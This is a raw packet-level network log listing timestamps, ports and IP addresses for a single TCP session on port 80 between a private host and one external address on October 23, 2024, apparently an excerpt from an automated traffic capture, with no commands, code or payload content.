Oct 23, 2024 17:51:29.070621967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070638895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070672035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070686102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070691109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070717096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070720911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070734024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070753098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070755959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070780993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070796013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070805073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070812941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070833921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070892096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071005106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071022034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071037054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071043968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071058035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071073055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071089029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071095943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071120977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071121931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071140051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071156979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071172953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071177006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071190119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071193933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071242094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071290016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071304083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071352959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071429014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071458101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071474075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071499109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071500063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071517944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071535110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071549892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071554899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071567059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071578979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071588039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071604967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071613073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071620941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071645975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071651936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071680069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071695089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071712017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071719885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071728945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071738958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071765900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071782112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071800947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071815968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071839094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071844101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071856022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071872950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071887970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071896076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071904898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071917057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071934938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071938038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071952105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071966887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.071986914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.071990967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.072007895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.072024107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.072040081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.072050095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.072071075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.074306011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.106916904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.106970072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.106981993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107022047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107073069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107096910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107105970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107156038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107187986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107290983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107337952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107343912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107378006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107409954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107424021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107445002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107476950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107501984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107508898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107546091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107578039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107589960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107614040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107649088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107680082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107681990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107688904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.107717991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107753992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.107774973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108366966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108418941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108442068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108469963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108511925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108520031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108553886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108582973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108603954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108616114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108674049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108678102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108726025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108760118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108774900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108814001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108855963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.108865023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108916044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108952045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108983994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.108989954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109036922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109071016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109081984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109110117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109112024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109142065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109174967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109209061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109216928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109260082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109292984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109303951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109322071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109334946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109358072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109400034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109419107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109452963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109496117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109503984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109538078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109570980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109581947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109621048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109654903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109687090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109704971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109730005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109780073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109782934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109817028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109823942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109869003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109904051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109915972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.109935999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109971046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.109977961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110023022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110058069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110068083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110110044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110143900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110153913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110196114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110229969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110261917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110270023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110313892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110356092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110363960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110398054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110405922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110435009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110467911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110477924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110500097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110533953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110549927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110568047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110601902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110610008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110635042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110677004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110682964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110714912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110748053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110780001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110794067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110817909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110821962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110852003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110887051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110894918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110919952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110954046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.110980988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.110985041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111022949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111027956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111056089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111089945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111120939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111124039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111157894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111175060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111191034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111224890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111243010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111258030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111290932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111318111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111347914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111386061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111399889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111418962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111453056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111474037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.111485958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111524105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.111571074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.163417101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.187510967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187551022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187585115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187618971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187632084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.187654018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187668085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.187689066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187724113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187732935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.187856913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187911034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187948942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187959909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.187983036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.187995911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188019991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188049078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188062906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188102961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188153028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188184023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188213110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188220024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188236952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188256025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188288927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188333988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188508987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188571930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188612938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188663960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188698053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188709021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188733101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188767910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188801050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188812971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188837051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188843012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188872099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188905954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188919067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.188935995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.188968897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189002991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189012051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189038992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189083099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189116001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189157963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189171076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189224005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189256907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189270973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189290047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189323902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189328909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189353943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189388037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189400911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.189423084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189456940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.189497948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.190594912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190642118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.190645933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190699100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190743923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.190747976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190783024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190818071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190826893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.190853119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190920115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190954924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.190967083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.190989017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191025019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191035986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191076040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191076994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191114902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191147089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191157103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191180944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191214085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191222906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191267014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191301107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191328049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191351891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191386938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191422939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.191435099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.191457033 CEST	80	49763	185.215.113.16	192.168.2.6
